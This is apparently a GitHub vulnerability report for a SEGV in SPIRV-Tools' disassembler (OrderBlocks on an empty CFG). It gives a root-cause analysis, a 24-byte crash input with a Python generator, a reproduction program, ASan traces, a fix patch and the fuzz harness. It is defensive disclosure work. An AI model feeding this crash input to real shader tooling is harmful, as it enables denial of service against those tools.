Skip to content

SEGV in OrderBlocks via empty CFG when OpFunctionEnd precedes any OpLabel (REORDER_BLOCKS / NESTED_INDENT) #6663

@OwenSanzas

Description

@OwenSanzas

SEGV in OrderBlocks via empty CFG when OpFunctionEnd precedes any OpLabel (REORDER_BLOCKS / NESTED_INDENT)

Summary

spvBinaryToText with either SPV_BINARY_TO_TEXT_OPTION_REORDER_BLOCKS
or SPV_BINARY_TO_TEXT_OPTION_NESTED_INDENT set crashes (SEGV, write
to address 0x50) at source/disassemble.cpp:416 when an
attacker-supplied SPIR-V module emits OpFunctionEnd with no preceding
OpLabel. OrderBlocks writes cfg.blocks[0].nest_level = 0; on an
empty std::vector<SingleBlock> without checking that any blocks were
collected first.

Root Cause

When the disassembler is invoked with REORDER_BLOCKS or NESTED_INDENT,
Disassembler::HandleInstruction (disassemble.cpp:195) defers
per-instruction emission and instead drives a small CFG state machine:
each OpLabel pushes a SingleBlock onto
current_function_cfg_.blocks (line 202), and each OpFunctionEnd
calls EmitCFG() (line 207) to emit the now-finalized function. There
is no check that OpFunctionEnd is only seen inside a function body
that already opened with OpLabel.

EmitCFG (disassemble.cpp:486-496) calls OrderBlocks on
current_function_cfg_. The very first statement of OrderBlocks
unconditionally subscripts the blocks vector:

Vulnerable Code (source/disassemble.cpp:410-421)

// Given the control flow graph, calculates and returns the reverse post-order
// ordering of the blocks.  The blocks are then disassembled in that order for
// readability.
std::vector<uint32_t> OrderBlocks(
    ControlFlowGraph& cfg,
    const std::unordered_map<uint32_t, uint32_t>& id_to_index) {
  std::vector<uint32_t> post_order;

  // Nest level of a function's first block is 0.
  cfg.blocks[0].nest_level = 0;            // <-- line 416, SEGV when blocks.empty()
  cfg.blocks[0].nest_level_assigned = true;

  // Stack of block indices as they are visited.
  std::stack<StackEntry> dfs_stack;
  dfs_stack.push({0, false});

When the input contains an OpFunctionEnd (or anything the parser
forwards that triggers EmitCFG() in deferred mode) without any
preceding OpLabel, cfg.blocks is empty. cfg.blocks[0] is then a
reference past the end of an empty std::vector; .nest_level = 0
performs a write at the resulting NULL/garbage offset. With ASan we
observe a SEGV write to 0x50 (the byte offset of nest_level inside
SingleBlock).

The crash is reachable through the public C API
(spv_context + spvBinaryToText) — no harness-internal state is
needed. The disassembler accepts whatever instruction stream the
binary parser hands it; structural validation (which would reject a
function tail with no function head) is the separate spvValidator
pass and is not invoked by spvBinaryToText.

Call chain

spvBinaryToText                                   disassemble.cpp:1137
  spvBinaryParseWithOptions                       binary.cpp:968
    Parser::parse                                 binary.cpp:260
      Parser::parseModule                         binary.cpp:302
        Parser::parseInstruction                  binary.cpp:464
          DisassembleInstruction (callback)       disassemble.cpp:551
            Disassembler::HandleInstruction       disassemble.cpp:207
              Disassembler::EmitCFG               disassemble.cpp:495
                OrderBlocks  -- cfg.blocks[0]     disassemble.cpp:416  <--- CRASH

Severity

CVSS 3.1 Score: 5.5 (Medium)

Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/C:N/I:N/A:H

Metric Value Rationale
Attack Vector Local The attacker-controlled SPIR-V module reaches the disassembler through a host process that loaded it (shader compilation tools, validators, debug pipelines). Network reachability depends on the embedder; conservative score assumes local.
Attack Complexity Low Crafting an OpFunctionEnd-without-OpLabel module is trivial (24 bytes); no heap shaping or timing required.
Privileges Required None Plain shader/SPIR-V input is the trust boundary.
User Interaction Required A user/tool must feed the malformed binary to a disassembler invocation.
Confidentiality None Write to a NULL-region address; not a controlled OOB read.
Integrity None The write target is not attacker-controlled in any useful way (SingleBlock::nest_level field at offset 0x50 of NULL).
Availability High Reliable process crash; usable as a DoS against any tool that disassembles untrusted SPIR-V with REORDER_BLOCKS or NESTED_INDENT (e.g. spirv-dis --nested-indent, IDE shader-debug pipelines, WebGPU/Vulkan tooling that pretty-prints shader binaries).

This is not the same bug as
assertion-spirv-tools-link-bound-zero-not-validated — that one is in
the linker (spirv-tools/source/link/) and triggers an assertion on
header validation; this one is in the disassembler
(spirv-tools/source/disassemble.cpp) and is a SEGV on a vector
subscript. Different file, different function, different option
combination.

PoC

Crash input (raw SPIR-V — 24 bytes / 6 words)

07 23 02 03   00 01 00 00   16 17 24 00
17 17 17 17   07 17 03 93   00 01 00 38
  • Word 0 0x07230203 — SPIR-V magic (presented as big-endian; the
    parser auto-detects endian and byte-swaps subsequent words).
  • Word 5 byte-swapped → 0x00010038 → opcode 0x0038 = OpFunctionEnd
    (word-count 1).
  • No OpLabel (opcode 248) and no OpFunction (opcode 54) appear
    before it — the deferred-mode HandleInstruction reaches
    EmitCFG() with current_function_cfg_.blocks still empty.
# generate_poc.py — re-create the crash input from bytes
poc = bytes([
    0x07, 0x23, 0x02, 0x03,
    0x00, 0x01, 0x00, 0x00,
    0x16, 0x17, 0x24, 0x00,
    0x17, 0x17, 0x17, 0x17,
    0x07, 0x17, 0x03, 0x93,
    0x00, 0x01, 0x00, 0x38,
])
open("poc.bin", "wb").write(poc)

Crash input size: 24 bytes.

Fuzzer Reproduction

The libFuzzer harness spirv_asm_disasm_roundtrip_fuzzer consumes the
last three bytes for env_byte, dis_bits, and as_bits (via
FuzzedDataProvider::ConsumeIntegral) and treats the remaining
front-bytes as a SPIR-V word stream. The shipped crash file therefore
includes three trailing control bytes appended to the 24-byte SPIR-V
PoC.

Build

# Same flags chrome-build-harness used for spirv-tools — relinks against
# the ASan-built libSPIRV-Tools*.a shared by all spirv-tools harnesses.
clang++ -fsanitize=fuzzer,address -std=c++17 -g -O1 -fno-omit-frame-pointer \
    -I sources/spirv-tools/include \
    -I sources/spirv-tools/external/spirv-headers/include \
    -I sources/spirv-tools/build/include \
    spirv_asm_disasm_roundtrip_fuzzer.cc \
    -Wl,--start-group \
        sources/spirv-tools/build/source/libSPIRV-Tools.a \
        sources/spirv-tools/build/source/opt/libSPIRV-Tools-opt.a \
        sources/spirv-tools/build/source/link/libSPIRV-Tools-link.a \
        sources/spirv-tools/build/source/reduce/libSPIRV-Tools-reduce.a \
    -Wl,--end-group \
    -pthread \
    -o spirv_asm_disasm_roundtrip_fuzzer

Run

ASAN_OPTIONS="symbolize=1:print_stacktrace=1:detect_leaks=0:abort_on_error=0" \
    ./spirv_asm_disasm_roundtrip_fuzzer crash-ed4934dbea92552d77e7b09154ad93d5fbab5145

Where crash-ed4934dbea92552d77e7b09154ad93d5fbab5145 is the 30-byte
file:

07 23 02 03 00 01 00 00 16 17 24 00 17 17 17 17
07 17 03 93 00 01 00 38 00 00 00 3d 6e 79

The trailing three bytes 3d 6e 79 decode (FDP-back-to-front) to
as_bits=0x3d, dis_bits=0x6e (NESTED_INDENT|FRIENDLY_NAMES|COMMENT
set; this is the path that triggers OrderBlocks even without the
REORDER_BLOCKS bit), env_byte=0x79 (SPV_ENV_VULKAN_1_3).

Sanitizer output (harness-side)

==2090143==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000050 (pc 0x...)
    #0 OrderBlocks                  source/disassemble.cpp:416:28
    #1 Disassembler::EmitCFG        source/disassemble.cpp:495:7
    #2 Disassembler::HandleInstruction  source/disassemble.cpp:207:9
    #3 DisassembleInstruction       source/disassemble.cpp:551:24
    #4 Parser::parseInstruction     source/binary.cpp:464:22
    #5 Parser::parseModule          source/binary.cpp:302:22
    #6 Parser::parse                source/binary.cpp:260:31
    #7 spvBinaryParseWithOptions    source/binary.cpp:968:17
    #8 spvBinaryToText              source/disassemble.cpp:1137:20
    #9 LLVMFuzzerTestOneInput       spirv_asm_disasm_roundtrip_fuzzer.cc:109:35
SUMMARY: AddressSanitizer: SEGV source/disassemble.cpp:416:28 in OrderBlocks

Reproduced 3/3 times under the verification replay (deterministic,
byte-identical signature).

Production Reproduction

Path B — minimal public-API consumer

The library does ship spirv-dis, but the harness's preferred trigger
is the C API; the API-level repro is the cleanest demonstration that
the bug is reachable without any harness wrapper. Public headers only
(<spirv-tools/libspirv.h>); links against the ASan-built
libSPIRV-Tools.a produced by the upstream CMake build.

// repro.cc — public-API reproduction for spirv-tools OrderBlocks SEGV
#include <spirv-tools/libspirv.h>

#include <cstdint>
#include <cstdio>
#include <cstdlib>
#include <vector>

int main(int argc, char** argv) {
  if (argc != 2) {
    fprintf(stderr, "Usage: %s <spirv.bin>\n", argv[0]);
    return 1;
  }
  FILE* f = std::fopen(argv[1], "rb");
  if (!f) { std::perror("fopen"); return 1; }
  std::fseek(f, 0, SEEK_END);
  long n = std::ftell(f);
  std::fseek(f, 0, SEEK_SET);
  if (n < 4 || (n % 4) != 0) {
    fprintf(stderr, "input must be a non-empty multiple of 4 bytes\n");
    std::fclose(f);
    return 1;
  }
  std::vector<uint32_t> words(n / 4);
  std::fread(words.data(), 1, n, f);
  std::fclose(f);

  spv_context ctx = spvContextCreate(SPV_ENV_UNIVERSAL_1_6);
  if (!ctx) { fprintf(stderr, "spvContextCreate failed\n"); return 1; }

  spv_text text = nullptr;
  spv_diagnostic diag = nullptr;
  const uint32_t opts = SPV_BINARY_TO_TEXT_OPTION_FRIENDLY_NAMES |
                        SPV_BINARY_TO_TEXT_OPTION_REORDER_BLOCKS;
  spv_result_t r = spvBinaryToText(ctx, words.data(), words.size(),
                                   opts, &text, &diag);
  fprintf(stderr, "spvBinaryToText returned %d\n", static_cast<int>(r));
  if (diag) spvDiagnosticDestroy(diag);
  if (text) spvTextDestroy(text);
  spvContextDestroy(ctx);
  return 0;
}

Build

git clone https://github.com/KhronosGroup/SPIRV-Tools.git spirv-tools
cd spirv-tools
git checkout ff5c50339cc1e9f34f04cb440a3e5fe89db0161d
git clone https://github.com/KhronosGroup/SPIRV-Headers.git external/spirv-headers
cmake -S . -B build \
    -DCMAKE_BUILD_TYPE=Debug \
    -DCMAKE_CXX_FLAGS="-fsanitize=address -g -O1 -fno-omit-frame-pointer" \
    -DCMAKE_C_FLAGS="-fsanitize=address -g -O1 -fno-omit-frame-pointer" \
    -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
    -DSPIRV_SKIP_TESTS=ON
cmake --build build -j

clang++ -fsanitize=address -g -O1 -std=c++17 -fno-omit-frame-pointer \
    -I include -I external/spirv-headers/include \
    repro.cc \
    -Wl,--start-group \
        build/source/libSPIRV-Tools.a \
        build/source/opt/libSPIRV-Tools-opt.a \
    -Wl,--end-group \
    -pthread \
    -o repro

Run

python3 generate_poc.py     # writes poc.bin (24 bytes)
ASAN_OPTIONS=detect_leaks=0 ./repro poc.bin
# Crashes with: AddressSanitizer: SEGV on unknown address 0x000000000050 ...
#               in spvtools::(anonymous namespace)::OrderBlocks at disassemble.cpp:416

Sanitizer output (production-side, from .repro/prod_repro.log)

AddressSanitizer:DEADLYSIGNAL
==2172999==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000050 (pc 0x557c1f3d039c bp 0x7ffcb0d915e0 sp 0x7ffcb0d913a0 T0)
==2172999==The signal is caused by a WRITE memory access.
==2172999==Hint: address points to the zero page.
    #0 0x557c1f3d039c in OrderBlocks  source/disassemble.cpp:416:28
    #1 0x557c1f3d039c in EmitCFG      source/disassemble.cpp:495:7
    #2 0x557c1f3d039c in HandleInstruction  source/disassemble.cpp:207:9
    #3 0x557c1f3ce89a in DisassembleInstruction  source/disassemble.cpp:551:24
    #4 0x557c1f4415c6 in Parser::parseInstruction  source/binary.cpp:464:22
    #5 0x557c1f4415c6 in Parser::parseModule       source/binary.cpp:302:22
    #6 0x557c1f4366d0 in Parser::parse             source/binary.cpp:260:31
    #7 0x557c1f4366d0 in spvBinaryParseWithOptions source/binary.cpp:968:17
    #8 0x557c1f3ce517 in spvBinaryToText           source/disassemble.cpp:1137:20
    #9 0x557c1f3bed97 in main                      .repro/repro.cc:44:20
SUMMARY: AddressSanitizer: SEGV source/disassemble.cpp:416:28 in OrderBlocks

Top frame and call chain match the harness-side replay exactly.

Impact

Aspect Details
Type SEGV / NULL-region write (out-of-bounds vector subscript on std::vector)
Severity Medium (CVSS 5.5 — DoS, no info leak, no controlled write)
Attack Vector Any host that calls spvBinaryToText with REORDER_BLOCKS or NESTED_INDENT on attacker-supplied SPIR-V (Vulkan/WebGPU shader-debug paths, IDE shader inspectors, spirv-dis --nested-indent, fuzzing/CI pretty-printers)
Affected Component spirv-tools/source/disassemble.cppOrderBlocks (line 416) reached from Disassembler::EmitCFG (line 495) on the deferred path taken when nested_indent_ || reorder_blocks_ is true (line 195)
Affected Versions Reproduced at commit ff5c50339cc1e9f34f04cb440a3e5fe89db0161d on KhronosGroup/SPIRV-Tools. The unchecked subscript predates this commit.
CWE CWE-125 (Out-of-bounds Read) / CWE-787 (Out-of-bounds Write) — write to nest_level field (offset 0x50) past end of empty std::vector

Suggested Fix

Reject (or no-op) EmitCFG when no blocks were collected — i.e. when
the input emitted OpFunctionEnd with no preceding OpLabel. The
minimal, local fix is in OrderBlocks itself:

--- a/source/disassemble.cpp
+++ b/source/disassemble.cpp
@@ -410,6 +410,11 @@ std::vector<uint32_t> OrderBlocks(
     ControlFlowGraph& cfg,
     const std::unordered_map<uint32_t, uint32_t>& id_to_index) {
   std::vector<uint32_t> post_order;
+
+  // A function with no OpLabel produces an empty CFG; the binary is
+  // malformed but the disassembler should not crash on it.
+  if (cfg.blocks.empty()) return post_order;
+
   // Nest level of a function's first block is 0.
   cfg.blocks[0].nest_level = 0;
   cfg.blocks[0].nest_level_assigned = true;

A complementary fix in Disassembler::HandleInstruction could skip the
EmitCFG() call when current_function_cfg_.blocks.empty() so the
disassembler also avoids BuildControlFlowGraph on an empty CFG — but
the OrderBlocks guard alone is sufficient to stop the SEGV.
Validation of structural well-formedness (function head/tail pairing)
already lives in spirv-val; reproducing it inside the disassembler is
out of scope.

Fuzz Harness Source

// spirv_asm_disasm_roundtrip_fuzzer.cc
// Copyright (c) 2026 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

// libFuzzer harness for Logic Group: spirv_asm_disasm_roundtrip
//
// Drives the disassembler -> assembler round-trip path. Treats fuzz bytes
// as a SPIR-V binary, runs spvBinaryToText to produce assembly text, then
// feeds that same text back through spvTextToBinaryWithOptions with the
// PRESERVE_NUMERIC_IDS option set. Crashes in this pipeline indicate a
// round-trip inconsistency bug (e.g. the disassembler emits a syntax
// the assembler cannot reparse, or an edge-case id renaming that the
// assembler rejects).
//
// Input layout:
//   byte 0 : low nibble = target_env selector (see PickEnv).
//   byte 1 : disassembler option bits (bits 0..3 -> INDENT /
//            NESTED_INDENT / FRIENDLY_NAMES / COMMENT). Bits the
//            existing dis_fuzzer does NOT touch (NESTED_INDENT,
//            COMMENT, REORDER_BLOCKS) are prioritised.
//   byte 2 : assembler option bits (bit 0 -> PRESERVE_NUMERIC_IDS).
//   byte 3+: SPIR-V word stream (4-byte LE aligned).

#include <cstddef>
#include <cstdint>
#include <cstring>
#include <vector>

#include <fuzzer/FuzzedDataProvider.h>

#include "spirv-tools/libspirv.h"

namespace {

constexpr size_t kMaxWords = 8 * 1024;  // 32KB cap — round-trip is costly.

spv_target_env PickEnv(uint8_t nibble) {
  switch (nibble & 0x0F) {
    case 0:  return SPV_ENV_UNIVERSAL_1_0;
    case 1:  return SPV_ENV_UNIVERSAL_1_1;
    case 2:  return SPV_ENV_UNIVERSAL_1_2;
    case 3:  return SPV_ENV_UNIVERSAL_1_3;
    case 4:  return SPV_ENV_UNIVERSAL_1_4;
    case 5:  return SPV_ENV_UNIVERSAL_1_5;
    case 6:  return SPV_ENV_VULKAN_1_0;
    case 7:  return SPV_ENV_VULKAN_1_1;
    case 8:  return SPV_ENV_VULKAN_1_2;
    case 9:  return SPV_ENV_VULKAN_1_3;
    default: return SPV_ENV_UNIVERSAL_1_5;
  }
}

}  // namespace

extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {
  if (size < 3 + sizeof(uint32_t)) {
    return 0;
  }

  FuzzedDataProvider fdp(data, size);
  const uint8_t env_byte = fdp.ConsumeIntegral<uint8_t>();
  const uint8_t dis_bits = fdp.ConsumeIntegral<uint8_t>();
  const uint8_t as_bits  = fdp.ConsumeIntegral<uint8_t>();

  const spv_target_env env = PickEnv(env_byte);

  uint32_t dis_options = 0;
  if (dis_bits & 0x01u) dis_options |= SPV_BINARY_TO_TEXT_OPTION_INDENT;
  if (dis_bits & 0x02u) dis_options |= SPV_BINARY_TO_TEXT_OPTION_NESTED_INDENT;
  if (dis_bits & 0x04u) dis_options |= SPV_BINARY_TO_TEXT_OPTION_FRIENDLY_NAMES;
  if (dis_bits & 0x08u) dis_options |= SPV_BINARY_TO_TEXT_OPTION_COMMENT;
  if (dis_bits & 0x10u) dis_options |= SPV_BINARY_TO_TEXT_OPTION_REORDER_BLOCKS;

  uint32_t as_options = SPV_TEXT_TO_BINARY_OPTION_NONE;
  if (as_bits & 0x01u) as_options |= SPV_TEXT_TO_BINARY_OPTION_PRESERVE_NUMERIC_IDS;

  const std::vector<uint8_t> body = fdp.ConsumeRemainingBytes<uint8_t>();
  if (body.size() < sizeof(uint32_t)) return 0;

  const size_t word_count = std::min(body.size() / sizeof(uint32_t), kMaxWords);
  std::vector<uint32_t> binary(word_count);
  if (word_count > 0) {
    std::memcpy(binary.data(), body.data(), word_count * sizeof(uint32_t));
  }

  const spv_context context = spvContextCreate(env);
  if (context == nullptr) return 0;

  // --- Stage 1: binary -> text ---
  spv_text text = nullptr;
  spv_diagnostic dis_diag = nullptr;
  const spv_result_t dis_result = spvBinaryToText(
      context, binary.data(), binary.size(), dis_options, &text, &dis_diag);
  if (dis_diag != nullptr) {
    spvDiagnosticDestroy(dis_diag);
    dis_diag = nullptr;
  }
  if (dis_result != SPV_SUCCESS || text == nullptr) {
    if (text != nullptr) {
      spvTextDestroy(text);
      text = nullptr;
    }
    spvContextDestroy(context);
    return 0;
  }

  // --- Stage 2: text -> binary (the round-trip) ---
  spv_binary out_binary = nullptr;
  spv_diagnostic as_diag = nullptr;
  (void)spvTextToBinaryWithOptions(context, text->str, text->length,
                                   as_options, &out_binary, &as_diag);
  if (as_diag != nullptr) {
    spvDiagnosticDestroy(as_diag);
    as_diag = nullptr;
  }
  if (out_binary != nullptr) {
    spvBinaryDestroy(out_binary);
    out_binary = nullptr;
  }

  spvTextDestroy(text);
  text = nullptr;
  spvContextDestroy(context);
  return 0;
}

Build flags: clang++ -fsanitize=fuzzer,address -std=c++17 -g -O1,
linked against the upstream-CMake-built libSPIRV-Tools.a,
libSPIRV-Tools-opt.a, libSPIRV-Tools-link.a,
libSPIRV-Tools-reduce.a (whole-archive, -pthread). Corpus seeds:
SPIR-V module byte streams (4-byte aligned) with valid magic.

Discovery

  • Discovered by: O2 Security Team (FuzzingBrain)
  • Discovered on: 2026-04-25
  • Harness: spirv_asm_disasm_roundtrip_fuzzer.cc (see "Fuzz Harness Source" above)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions